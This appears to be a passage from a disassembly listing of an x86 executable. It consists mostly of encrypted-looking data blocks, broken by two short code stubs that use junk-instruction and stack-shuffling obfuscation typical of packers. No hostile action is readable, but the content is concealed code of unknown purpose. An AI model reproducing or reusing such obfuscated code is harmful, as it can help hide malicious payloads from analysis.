		dd 5EF589DEh, 215B685Bh, 24890000h, 24048124h, 4, 8B8505Bh
		dd 1000000h, 8B2889D8h,	0C4812404h, 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54DD7E
; ---------------------------------------------------------------------------
		db 0C0h, 0B8h, 7Bh
		dd 3064E64h, 0FE0FFC5h,	310F5185h, 5A7BAB37h, 661EED76h
		dd 45338061h, 0B24336EEh, 7009355Ah, 1128F07Fh,	0E01C7598h
		dd 1343F52Ch, 8D10BCCAh, 991C461Fh, 1000C959h, 9B4C8074h
		dd 160D69F2h, 9B76C63Ch, 0E863FC20h, 0Ch, 0C5FC20CEh, 0E00F04D2h
		dd 3F87B761h, 5FF08B66h, 16840Fh, 0FE80000h, 0C6000000h
		dd 64746DD8h, 2EE5464h,	1BC8EA10h, 5BF88578h, 637FC781h
		dd 0DA8B0000h, 18B3BAh,	0DCB96600h, 0E9078B71h,	12h, 0DD662223h
		dd 9616CCCDh, 7DA17FBEh, 9D210149h, 0C0812135h,	4A4274BCh
		dd 6CB1DE81h, 0E8817AA1h, 7CAC9C71h, 1DF1C081h,	0BE97ED1h
		dd 69000000h, 97880758h, 0D5459E0h, 81508813h, 703A90F3h
		dd 0E9078F37h, 11h, 0A46C9931h,	460AE877h, 0D5C0AFB9h
		dd 0FDC3EC74h, 2EF8375h, 4FC9BF0Fh, 0EA81F54Fh,	1, 0FF8B850Fh
		dd 8166FFFFh, 0EB16EBE9h, 8, 15CD4C00h,	447E94Bh, 1C680000h
		dd 0E9064E67h, 0FFFA1849h, 4E678B68h, 183FE906h, 0B868FFFAh
		dd 0E9064E68h, 0FFFA1835h, 44243BBAh, 0CDAFAA48h, 31534ED1h
		dd 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh
		dd 8E356103h, 637AE98Bh, 72994D0Bh, 42C59B7Ch, 8BF8F985h
		dd 0D98587FCh, 0DF540DB3h, 1D189B77h, 66241F7Fh, 7F929FEFh
		dd 21BB7C6Ch, 88E98683h, 98E99622h, 6C7E8ACAh, 5615C17Ch
		dd 0A942857Eh, 2B35FDBh, 0D9C40000h, 0B1655E76h, 24329BDDh
		dd 0C14E2976h, 43357856h, 36717C6Ch, 0A8B17CEAh, 9B1079D1h
		dd 0E59C2358h, 0FF4FE7DBh, 3F8F06C4h, 7799FD4Ah, 0E27EE996h
		dd 77344540h, 0C3FCD0DFh, 0A7F78E19h, 7389E4E1h, 6B2A80EFh
		dd 0D21D0B13h, 43D2DD79h, 7B0809A9h, 0FE8F8A29h, 0FB9A30B1h
		dd 0A5C7C261h, 3F7955ECh, 8D7151BDh, 27CC4CE2h,	0BCE09D20h
		dd 59D61772h, 2B0A9h, 19189900h, 80852F7Bh, 3413B4E0h
		dd 0B9B83854h, 2E23CFDBh, 68502142h, 0F3AFCDCCh, 8410706Dh
		dd 0E9AE6F9h, 51026E65h, 9A28603Eh, 12B47C72h, 0DC7EB971h
		dd 99437549h, 0DD747C72h, 7298C781h, 0DA9EF07Ch, 0E67C7298h
		dd 268CEB99h, 0E67AED8Ah, 6925475Ah, 0E8BFCCCDh, 0D6A954h
		dd 72991152h, 3F3AB97Ch, 0EEADF380h, 0AC5AD518h, 241h
		dd 868670Eh, 7113169Ch,	0E5878225h, 680809A9h, 0D3B1B03Ch
		dd 5FDBE3B0h, 0DC623E5Ah, 4AF7A3C1h, 0FA791577h, 0AFC69DFFh
		dd 729999DFh, 681277Ch,	49DC7EB9h, 91941EB2h, 0AD2B83E0h
		dd 7C7298FBh, 61F18EE9h, 7C729923h, 20CFBC2Eh, 23BF66Bh
		dd 0B51DD8CBh, 0AFADE219h, 16F38DBh, 85630000h,	0FE8AFBFEh
		dd 83127E75h, 0E74F4AE9h, 0F76E2C17h, 334A0E60h, 0E9967624h
		dd 53FAD441h, 977C6C45h, 49927BFBh, 346F6F4Ah, 273F071h
		dd 6C95F0B4h, 8483247Ch, 1A1FA5F7h, 0E45B156Dh,	0AB10C22Fh
		dd 0A971867Dh, 205CDBh,	0B9C70000h, 7549DC7Eh, 7C6C4064h
		dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh,	0A5B1h
		dd 0FE85EA00h, 32D791EDh, 89E57624h, 1E9FECEDh,	11631091h
		dd 0E7FA8795h, 0F87B0966h, 80F98CFDh, 0F2FE9BBAh, 0BC5CF232h
		dd 86503037h, 76249C9Ch, 189B8F34h, 9D0F6C1Dh, 0FD9F1C15h
		dd 6DF8A29Dh, 6F352411h, 60F7B07Ch, 1C5C32C9h, 0A87C6EF3h
		dd 0FAB67CFh, 0B6326E0Ah, 865D0CB3h, 0A45B0C55h, 11436h
		dd 0BDB43D00h, 2421C3DFh, 0A8B74844h, 5D54DCC8h, 0C2C7633Fh
		dd 0C349DA6h, 97036160h, 187414F1h, 0A2FE9A9Dh,	0ED660201h
		dd 9AC484DAh, 4E107C72h, 0EBF985D5h, 0DCD35E48h, 0C041CEAFh
		dd 484FF4A0h, 0FE858B28h, 75FE8AFBh, 81BA127Eh,	0B2724CDBh
		dd 67C6C81h, 80591F6Fh,	18677C6Ch, 0DE750C9Bh, 81317747h
		dd 0F0BF7C6Ch, 6C80E6A2h, 0CBA3F27Ch, 7C6C808Dh, 4DDF5C5Bh
		dd 8A06ACA5h, 0E07CEBEEh, 74354245h, 5014C2DEh,	847C6C80h
		dd 0C98F8FFh, 61277760h, 6F7C6C80h, 44F28300h, 75h, 5BEC80C3h
		dd 2D16E64Ch, 2861F86Fh, 0F220A514h, 7E5CF225h,	7C730B4Eh
		dd 1C6C1D9Ah, 4AEA8697h, 46612777h, 6F7C72h, 0EB5E183h
		dd 65EC7A0Bh, 38C9CDEEh, 0AC579D42h, 54DFCBA9h,	0D0502051h
		dd 0B525A0D1h, 918122F6h, 0F692130Eh, 8B1A199Ah, 0E5DE9AF4h
		dd 9EEAC139h, 0C6D1A09h, 1A88278Fh, 11h, 0E2DB168Bh, 5B9A8919h
		dd 2841D0F3h, 43EBEE94h, 0E5FC8520h, 787F0494h,	0FDFC790Bh
		dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
		dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh
		dd 0C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 68240C89h, 1506h, 68243C89h,	64E663Fh, 81240C8Bh, 4C4h
		dd 3C8B5400h, 4C48324h,	8904EC83h, 0CB89241Ch, 5B085F89h
		dd 53243C8Bh, 0C381E389h, 4, 8704C383h,	0FF5C241Ch, 83592434h
		dd 12E904C4h, 36FFFA14h, 0A3BB6F42h, 69F1B8B6h,	0C503064Eh
		dd 49DBE0FFh, 799346C1h, 0FEEC7BA2h, 0ADD02B91h, 0C76E6BA9h
		dd 0D3101473h, 0AFC65C9Dh, 7DB635B7h, 41DA76BBh, 13947B93h
		dd 0DAAF709Fh, 13F53DF3h, 8D755449h, 8AF200D5h,	0A768012Dh
		dd 9DEC3E1Eh, 2A573F4Ch, 11CF6347h, 256369B6h, 0CF4D2FF0h
		dd 0D1D142D4h, 20E1203h, 3F9C7A0Eh, 51DC1CDFh, 0E0AD7E5Fh
		dd 0C9E915F5h, 43171B58h, 243A7411h, 0DE795FE8h, 171310ABh
		dd 0E6741AD6h, 0A7B24784h, 0AE85854h, 0BA000000h, 4C30E85Dh
		dd 0F24B6D79h, 5AFAB06Eh, 5AD48051h, 0F3C28158h, 0B400005Ah
		dd 0FF52BB2Bh, 0C3815F7Ch, 0A0831736h, 666032FFh, 76DFC781h
		dd 81665F61h, 818531E6h, 777696F7h, 11E96069h, 0F9000000h
		dd 0BA0E072Eh, 3EB4B7E8h, 52D0003Eh, 0E8D2E1B3h, 0FE953h
		dd 8F6C0000h, 9601C489h, 5EB8BDC7h, 719E64C6h, 81615F03h
		dd 58C0FBC7h, 8B0F7Dh, 81000000h, 414B01C7h, 4870F01h
		dd 53000000h, 8958CE8Bh, 0EE93Ah, 0DB640000h, 0CBF04AD2h
		dd 11DE3FE4h, 0F357F0E6h, 32E4EA81h, 0B8666D2Bh, 0C281459Ch
		dd 6D2B32E0h, 10850F4Bh, 0F5000000h, 21E9h, 0BA4C5B00h
		dd 0CA17B91Eh, 52D0C351h, 815F5160h, 0BB9903D8h, 0E95E6172h
		dd 0FFFFFF54h, 2A2E923Ch, 8D8D7590h, 64E6CABh, 10E9h, 0BBD94F00h
		dd 9ECAC265h, 4109241Fh, 0E185A48Ah, 58D896Ch, 6A064814h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0F6E0C350h, 2585C7EBh, 30064830h,	0E9000068h
		dd 0Fh,	0B74ED552h, 639771CAh, 980E95D5h, 89B1408Dh, 481FA185h
		dd 0D985C706h, 6482Ah, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 90B6C350h
		dd 0F29EC761h, 1BD2943h, 0FF064824h, 480C39B5h,	9E806h
		dd 28580000h, 5467DABBh, 66331F03h, 0FF5BF28Bh,	480E7195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 973AFD26h, 0B70FB962h, 0FF006AFBh, 48092D95h
		dd 0EBC08B06h, 0AC0C667Bh, 32D0A030h, 711E42FFh, 16A3DB83h
		dd 4554D1D3h, 0F56F5CC8h, 25D00935h, 0F8C6D20h,	0F55D0978h
		dd 9D87C59Bh, 201C93CBh, 2BCDE2FAh, 923C71A1h, 75902A2Eh
		dd 6BA75F2Fh, 971A6958h, 8950C642h, 32C14E37h, 92438A06h
		dd 49D4035Bh, 608FED0Ah, 0FDAF4CDEh, 0CE722809h, 0EBA5CC5h
		dd 2D6DF3F7h, 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch,	25392F7Fh
		dd 7F08288Fh, 994CC8Bh,	6DF68D8Dh, 6A064Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D8971C3h
		dd 6481405h, 0C7E2F380h, 48302585h, 687006h, 48C0F00h
		dd 66000000h, 0C7459AB8h, 482AD985h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0E991C95Ah, 0EE9F503h, 0AB000000h, 326768B3h, 0FB06A53Ch
		dd 3AB5911h, 3DB5FFE4h,	6A064828h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3BE8C351h
		dd 0FB2EC55h, 1586h, 10E900h, 76FC0000h, 304CD9h, 0DDA731D2h
		dd 6EC1F284h, 95FF0277h, 6480E71h, 95FF006Ah, 648092Dh
		dd 3DEBC08Bh, 1C7296B2h, 0B28F4FD1h, 0EAD3E1C2h, 37F381C9h
		dd 540D2788h, 0D63E1C11h, 0C446BFBEh, 60F13B84h, 63CAF960h
		dd 8897601Eh, 0E537A687h, 92F890F7h, 0A02DE7B2h, 7F7EAF37h
		dd 48C9461h, 14E811h, 49CA0000h, 0EFADB250h, 6103D6CDh
		dd 2F4FF1B0h, 0FCA19CC9h, 0B589B574h, 648280Dh,	8D89605Eh
		dd 64829FDh, 29E78166h,	0C681616Eh, 5DB5h, 6AFAD281h, 0FF33027Dh
		dd 9EE38166h, 3E048BBAh, 3860Fh, 0B70F0000h, 0ECF081D1h
		dd 8B5DD9F6h, 4801A98Dh, 0E8E88106h, 0B31B0E95h, 29F08168h
		dd 0F941C0D8h, 8B3E0489h, 48117595h, 11E906h, 0E0E90000h
		dd 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 81620C9Ch,	0BC7D79EFh
		dd 81BEB279h, 0BC7D75C7h, 7EEB8179h, 814CDFBEh,	0FFA314FFh
		dd 15850FFFh, 8B000000h, 4829058Dh, 21E906h, 195D0000h
		dd 61B42056h, 0FDEDA0C3h, 121D9D8Bh, 7AE90648h,	0D7FFFFFFh
		dd 94416B5Eh, 1ABC78ACh, 0E890E9ECh, 12h, 0A416FAECh, 6B7A28C1h
		dd 1039D00Dh, 9D81CBFBh, 810F2FD5h, 2, 8B5886B1h, 4821C5B5h
		dd 0FDC08106h, 2B000074h, 4806118Dh, 0BF06h, 0B58B0000h
		dd 64822B5h, 810734FFh,	3192CEEh, 890F5B15h, 6,	0D658D29h
		dd 0C3810648h, 19A7426Ch, 0B8E98166h, 3AEB8144h, 92D73C7h
		dd 4826D995h, 40C38106h, 892B55E7h, 4817258Dh, 8D8B5306h
		dd 6480FE1h, 0E938048Fh, 12h, 4652D2Ah,	3C7ABB08h, 0C05149ADh
		dd 0E7433527h, 83F9FA94h, 0B58904EFh, 6482801h,	8BDCFF81h
		dd 850FFFFFh, 1Eh, 9C3DEA81h, 2AE907F2h, 0FD000000h, 0A7A57FA2h
		dd 4492E231h, 0D54D9F66h, 7A46CD5Fh, 0B5897519h, 6480DC1h
		dd 0FFFF67E9h, 48A2FCFFh, 0CFD71EB0h, 0A2CD83E3h, 3A8D8D2Fh
		dd 66064E70h, 1D4BDE81h, 14058D89h, 8B530648h, 4801F995h
		dd 85C75B06h, 6483025h,	69E4h, 2AD985C7h, 648h,	840F0000h
		dd 5, 496BEBFh,	25B5FF4Ah, 0FF06480Eh, 480E7195h, 0F18B6606h
		dd 95FF006Ah, 648092Dh,	2BEBC08Bh, 7E837EEBh, 0E7F977EBh
		dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh
		dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 8DD787DFh, 4E71508Dh
		dd 0B19D8906h, 8906480Ch, 4814058Dh, 9E806h, 9A9B0000h
		dd 61081AA0h, 0E8054DCFh, 0Fh, 68DEE47Ch, 0E8A395E8h, 31C80006h
		dd 0E867A03Dh, 11h, 41543D3Dh, 1A606B2Fh, 0DD851848h, 712CBCAAh
		dd 5F5A5AC1h, 302585C7h, 5B9C0648h, 8B660000h, 0D985C7C7h
		dd 6482Ah, 52000000h, 19E99D89h, 31580648h, 4829BD9Dh
		dd 15B5FF06h, 6A064809h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0BB2EC351h,	0A4E1CD10h
		dd 852B098Ah, 6481595h,	2F719D8Bh, 95FF0648h, 6480E71h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F4C35141h
		dd 0E715F750h, 6E8BC46h, 0C0000000h, 392105F7h,	29BA6697h
		dd 6A5EA7h, 92D95FFh, 0C08B0648h, 8E8919EBh, 0FAE468BAh
		dd 50BA26DEh, 85232E9Dh, 0B1A486F6h, 6A8644B2h,	8DA1101Fh
		dd 4E72288Dh, 57BF6606h, 0C2B70F77h, 14058D89h,	6A0648h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 9A95D9C3h, 8920DA1Ah, 482B1585h, 2585C706h, 0EC064830h
		dd 6A000073h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0BFF4C353h, 0D38A7AFCh, 2AD985C7h
		dd 648h, 840F0000h, 0Ch, 68D0Fh, 958B0000h, 6481BADh, 1221B5FFh
		dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0FB2A1BC3h, 95FF0265h, 6480E71h, 27958589h
		dd 6A0648h, 92D95FFh, 0C08B0648h, 701B3AEBh, 0E4537A40h
		dd 0F7BDD407h, 425D04D8h, 0A350C0C4h, 0CDACD735h, 46C759C5h
		dd 0D059949Ch, 0BE10A15h, 0CD561CA9h, 0B131F4D7h, 0D1DE7FB5h
		dd 0AD4D6739h, 55DEDB30h, 2220B451h, 13E8h, 0FEDFD200h
		dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 2F43BDC8h, 0F5ACA8Bh
		dd 1A8Eh, 13E800h, 159A0000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h
		dd 0AF94DAB6h, 815EF8F5h, 72B0C2h, 0BE900h, 0F9410000h
		dd 4254A8B9h, 4A08AD55h, 89FF339Eh, 4807F59Dh, 3A1C8B06h
		dd 8EDBD31h, 0EB810648h, 7C1C6DAh, 0C381D8B4h, 31228205h
		dd 0F381CE8Ah, 58D3FED6h, 108D8D01h, 0E9530648h, 11h, 9F7ECF3Ch
		dd 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 3A048F82h,	290D8D8Bh
		dd 81600648h, 0B2275FF0h, 758D8958h, 61064814h,	0B001EF83h
		dd 4F4F4FBFh, 0CFF81F9h, 0FFFFF8Eh, 0FFFF9885h,	6CB966FFh
		dd 0E38D8DDBh, 0F064E73h, 0D89h, 8E900h, 9D6D0000h, 7F7D67E9h
		dd 0B70FCDD6h, 58D89D8h, 6A064814h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 19A9C357h
		dd 0CA8E59BAh, 12DF8172h, 0F3664BCh, 85C7D9BFh,	6483025h
		dd 6234h, 85C7DCB7h, 6482AD9h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h
		dd 33137EFBh, 0E9680CE2h, 0Ch, 16407C46h, 352B51E2h, 0D67E746Fh
		dd 22D5B58Bh, 0B5FF0648h, 6480D3Dh, 0D81B589h, 95FF0648h
		dd 6480E71h, 0FF006AF5h, 48092D95h, 0EBC08B06h,	66414D1Bh
		dd 57034C72h, 6DB1998Ch, 890B0153h, 0EEFDF228h,	0C0843B09h
		dd 807D810h, 5E8h, 3C307800h, 8B50D323h, 482BF99Dh, 0B595806h
		dd 4804719Dh, 0D3C18106h, 0E9000066h, 8, 5BB98AB4h, 9284FDE0h
		dd 0BFh, 26EB8000h, 0E939148Bh,	7, 0CD20453Ch, 81DEC2F1h
		dd 201CB8EAh, 0A5BD8971h, 81064819h, 7B5B3AEAh,	68D0F76h
		dd 23000000h, 481B4585h, 84C28106h, 66305C23h, 0E6CCDB81h
		dd 0F9391489h, 83F08B66h, 9D0301EFh, 64812EDh, 0F4F4F4Fh
		dd 287h, 81C38B00h, 0FF9A00FFh,	1A850FFFh, 8B000000h, 481535B5h
		dd 3EE906h, 79610000h, 50A3BD68h, 0D761808Ch, 0A32C2638h
		dd 14E871h, 0F2ED0000h,	0DB9B03F0h, 0D163739Bh,	71625F44h
		dd 0AC28D3BFh, 0A2B8D0ACh, 5E516403h, 0FFFF63E9h, 6181E7FFh
		dd 0C07BAD86h, 86DB78A1h, 12E8h, 7C8A8900h, 10819424h
		dd 0DFE46BD3h, 3191E110h, 805B5AA4h, 0F5A44EDh,	481h, 6B96600h
		dd 0BC281A3h, 9000059h,	4809458Dh, 161ABE06h, 8B660000h
		dd 891A8BCFh, 48053595h, 2AEB8106h, 0E86DEB23h,	8, 4E4AD8DDh
		dd 311D1C5Eh, 11E8h, 25CE9200h,	0D7D8409Eh, 968FF3D9h
		dd 59865575h, 0B70FCF82h, 815959F9h, 2195E2C3h,	0F3816003h
		dd 1D8FC9D5h, 2031858Bh, 81610648h, 74029DC3h, 8B1A8940h
		dd 481099BDh, 4EA8306h,	23E98D8Bh, 0EE810648h, 1, 0FF93850Fh
		dd 8D8BFFFFh, 6481335h,	11E8h, 61653800h, 0FE23B902h, 509D0A59h
		dd 8DE23AA6h, 805F3592h, 0C7814CC9h, 6243h, 68CE8B66h
		dd 0
		dd 8B5ED98Bh, 48124D9Dh, 37148B06h, 14698D89h, 0C2810648h
		dd 0CB53DD2h, 6DC98166h, 7BF2811Eh, 8B455914h, 48166D8Dh
		dd 5FEA8106h, 5307D295h, 58C0B70Fh, 8B371489h, 0FEB866DEh
		dd 1EE83C3h, 68E0Fh, 0C8810000h, 3EC8CAB7h, 814E4E4Eh
		dd 0C2AB1FDBh, 40FE8171h, 0FFFFF9Eh, 0FFFFA885h, 0D8F480FFh
		dd 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80782DFFh, 83B42A21h
		dd 6F302590h, 863025D6h, 0B79998A7h, 8930235Ah,	8630B48Dh
		dd 0CF8DA684h, 86366D46h, 86B4A12Eh, 3F62590h, 80782AB1h
		dd 8634CD6Ah, 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h
		dd 33CF7D25h, 80781439h, 0F950A0C5h, 56CF236Fh,	3F6D599h
		dd 80782AF0h, 8634CDCAh, 51702542h, 0D608D63h, 0D3401D4h
		dd 0A274AC48h, 33CF7D20h, 8078215Bh, 0F950A084h, 56CF23CFh
		dd 9689DDC9h, 6F302521h, 86302598h, 88B52AEEh, 0CF302524h
		dd 33FEC19h, 79CFDAF9h,	8630286Dh, 6ADA842h, 3E366D6Fh
		dd 86302595h, 3BBDC6B7h, 807E5333h, 0F0D7A89Fh,	94882347h
		dd 0ADB615A1h, 84D9E48Dh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah
		dd 80782DFFh, 83B42A21h, 6F302590h, 863025D6h, 0F305E983h
		dd 22B9A4h, 0FE80000h, 0FB000000h, 555F6D05h, 2A3DA358h
		dd 29CB63CDh, 2B605383h, 481B999Dh, 898D8906h, 6106482Fh
		dd 48B0F58h, 66000000h,	81628EBBh, 58A8C0h, 75BF6600h
		dd 0FC93337h, 348BD3B7h, 68C0F08h, 8B000000h, 4831959Dh
		dd 41F68106h, 0E8265BE4h, 0Eh, 521C8521h, 57458DE7h, 0A3A12D6Eh
		dd 81666414h, 5A8338C2h, 431FC681h, 830F605Bh, 2, 0C681FC8Ah
		dd 5AB897A1h, 9A58589h,	8F560648h, 95330804h, 64806A9h
		dd 0FDDBD89h, 0E9830648h, 0FD958B03h, 4906481Ah, 9ADB529h
		dd 0F9810648h, 0FFFFA800h, 0FF8C850Fh, 0EBF5FFFFh, 44070F04h
		dd 55CE958h, 0A54C0000h, 50D2CEAAh, 0C45B3755h,	47EFBBD9h
		dd 0F6722E4Ah, 257291F3h, 0F090911Dh, 650702A4h, 0EF8D8C29h
		dd 573530B3h, 0D395E9FCh, 0E17C72A9h, 0FE85C45Fh, 72FE8AFBh
		dd 0E2811D7Fh, 79FA96E7h, 0F57F0D7Ah, 3C2C65F0h, 0F9978C9h
		dd 0FDF4832Bh, 0FD8F5E0Dh, 5216686Bh, 9E7624BBh, 5E3A9011h
		dd 0E6B2DED5h, 6D24445Bh, 0BAC0F8D6h, 630C7624h, 0AFA24FCBh
		dd 1B434338h, 8ECB3E71h, 60FC8B28h, 0A36FC7C2h,	918C131Dh
		dd 750283E0h, 74BB60D2h, 0C2AF46D8h, 0C791F601h, 6B43D253h
		dd 7625032Dh, 0BA56FCBBh, 4C58383Fh, 9E35A0A7h,	2F1B707h
		dd 0B0FF7625h, 2502A6E2h, 0DD753276h, 5E30C7DEh, 7625031Ah
		dd 6371D9A6h, 76250322h, 0DACAB12Dh, 0DDE1DE21h, 53FBh
		dd 0FE852000h, 7A3C8AFBh, 0D5762432h, 9982A219h, 43DDE10Eh
		dd 1, 95E980D8h, 762432D3h, 603086E1h, 5B50C7C2h, 2FB1EF83h
		dd 500A24Ch, 20B63774h,	66630193h, 0E6FB7B09h, 33E8A289h
		dd 6584BE9h, 76247F42h,	0EC73E18Eh, 841070F1h, 0FB98F8FFh
		dd 8BF8F985h, 0DB6D7BF9h, 73F0B1CEh, 0F5D07602h, 7649F484h
		dd 69D69839h, 8B704AD0h, 0A4C4C561h, 0D4D153EDh, 6D1A32A7h
		dd 5F248D5Eh, 1B9878DEh, 8A1D6F1Ch, 60E1E08Ch, 9F4CFE13h
		dd 0E16362A9h, 0C85FF1DDh, 86E975DDh, 32000000h, 8BF8F985h
		dd 0EC7B66F9h, 0A0D1D050h, 3C4C6BC3h, 0BCCCBDB4h, 0C14E3F2Ah
		dd 0EF8A5E0Dh, 9D1A9BE8h, 0FD27E456h, 4EE57071h, 24333870h
		dd 53FB8476h, 27C25E37h, 0FC525320h, 0E091901Ch, 60111090h
		dd 6073286Fh, 0FEFD9490h, 0B67567CFh, 0E189759Eh, 46AFDDh
		dd 85F40000h, 0F98BF8F9h, 56EA7D7Ch, 0BD46D2B1h, 2A8C9A6h
		dd 85802775h, 8BCDA1F4h, 59762432h, 213CC25Eh, 403FB350h
		dd 0BB60EA8Bh, 94F4F571h, 0FAFF850Fh, 32783D8Dh, 1BD77624h
		dd 0E9B80A4h, 141DDE1h,	0DA000000h, 96E7E285h, 126C79FAh
		dd 76243256h, 0F7840562h, 1DA73950h, 4338B218h,	791B0699h
		dd 17F29428h, 0DDB11966h, 13AD38E2h, 82E3908Dh,	3C927116h
		dd 47540559h, 0E7807C6Ch, 0C56DFF96h, 9AA66CCh,	37E69B0Ah
		dd 544D7DBFh, 0FFAB379Fh, 0B2007174h, 7C6C76F4h, 7CA41BD7h
		dd 5046E3F7h, 2657D4D3h, 0DDAAA94Ah, 0B2DE5FDCh, 29465DE6h
		dd 38CED85Bh, 0C7DFAC2Dh, 55E736F5h, 2421C7ADh,	0E0830FA7h
		dd 720E87E5h, 0E283F0F7h, 4ACB304Ch, 6111DBA9h,	8A000001h
		dd 23CF7EB9h, 0C050512Eh, 29562722h, 0C8A63DA8h, 76243290h
		dd 1AFB535Ch, 4B56E983h, 87D57D3Ah, 7C6C413Eh, 57D198Ah
		dd 2F5F9DBBh, 20C3D1AEh, 881EB225h, 91EEE58Eh, 0AF3B9310h
		dd 47570F3h, 0FF3CCF74h, 5550D2F3h, 856C4320h, 5D2F7704h
		dd 0BAB93AEEh, 22C53EDEh, 4D1FDBA9h, 84000000h,	4ED97BB9h
		dd 24338870h, 0DAABD476h, 24334C0Ch, 0F9F87876h, 7C7BF888h
		dd 71F26E0Fh, 0D0820572h, 536FD26Bh, 903C78ECh,	24327A3Eh
		dd 0B8394676h, 3367512Dh, 8AF57624h, 0C250EEh, 0AB450000h
		dd 8401E15h, 0D4762433h, 0E3842AABh, 0F4CA7EB9h, 762432B4h
		dd 0DEEF9300h, 0C91DF705h, 0C55CCB48h, 22FF752Eh, 0D5521335h
		dd 2478C385h, 0C0961176h, 6C945F92h, 0A7F78E7Ch, 7C6C8FE1h
		dd 151093EFh, 787F0494h, 4ED9A6D2h, 878225B7h, 6C8F91D7h
		dd 0A4E4BA7Ch, 307C6C8Fh, 0D47A0577h, 2B2ED5A7h, 0D3D65D49h
		dd 904F14A2h, 0C6887C6Ch, 4350D319h, 6C902D6Bh,	7FFCBB7Ch
		dd 0D882BD1Dh, 3530B34Dh, 0DEB02744h, 7C6C8F9Ah, 24F15926h
		dd 0BB07CA4Ah, 0E6821E82h, 0EC2B96E3h, 0BC142C49h, 0B1324E3Fh
		dd 9042C5B2h, 58023D2Bh, 8B7D36CDh, 73BAA979h, 2E36A40Ah
		dd 0BA7C78CEh, 6A069FFDh, 4063CBCEh, 5D41EC80h,	0C4A5D2D7h
		dd 241FEF47h, 0E32CD592h, 46C79005h, 0B275FFCFh, 8A267C72h
		dd 898E9F4h, 9A1B6877h,	7A05B51Dh, 0E2F47F0Dh, 0A7C54241h
		dd 0DFD252EEh, 0C84935AEh, 202AA06Fh, 1E5A34A3h, 0AA7C72A0h
		dd 0EB565CDh, 0EDEC7A0Bh, 0C0DA7D19h, 0E48F550Ah, 27376F2h
		dd 0DA71E465h, 615A53A1h, 0F9A9F017h, 0CE68DABFh, 0BCCC620Dh
		dd 7C5243E0h, 0CE68DB3Ch, 0DA57116Dh, 1A65CE68h, 0F380016Eh
		dd 950001A1h, 1170E31Ch, 1CB22332h, 857AF89Fh, 0B3D1D45Fh
		dd 35734BE2h, 83CE68A8h, 21C24EE4h, 0C6B7B231h,	0DB4B38B9h
		dd 0Ch,	0E20B8038h, 0FA7B1611h,	2AF1E54Dh, 94E5FC85h, 0B787F04h
		dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
		dd 397655EAh, 0BFCCC96Bh, 124168B9h, 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	546Bh
		mov	[esp], edi
		mov	ecx, 338E05C7h
		xor	ecx, 549221DAh
		dec	ecx
		or	ecx, 777425AEh
		shr	ecx, 8
		dec	ecx
		inc	ecx
		sub	ecx, 0FA29045Ch
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, ecx
		push	ebp
		pop	dword ptr [edi+8]
		pop	ebp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 3Bh,	0B8h, 0ACh
		dd 3064E7Ch, 15E0FFC5h,	56607AD0h, 9400230Eh, 9B2870EFh
		dd 9A6D23EEh, 0A00E7AB0h, 1A2C5D67h, 0E8637203h, 13h, 0B248E4C6h
		dd 0C400B2B5h, 8521190Eh, 8DE7521Ch, 0B96E5745h, 163385E6h
		dd 4850F5Bh, 66000000h,	818E7CBAh, 6B87C3h, 0FE96000h
		dd 8000000h, 0D13B24C1h, 0BEF46EECh, 6643FE4Dh,	0D081851Ch
		dd 60990044h, 6861h, 5FFC0000h,	48B25B1h, 0D78B603Bh, 0F08161FCh
		dd 2A9977A9h, 14810Fh, 8E80000h, 5A000000h, 579D3BF0h
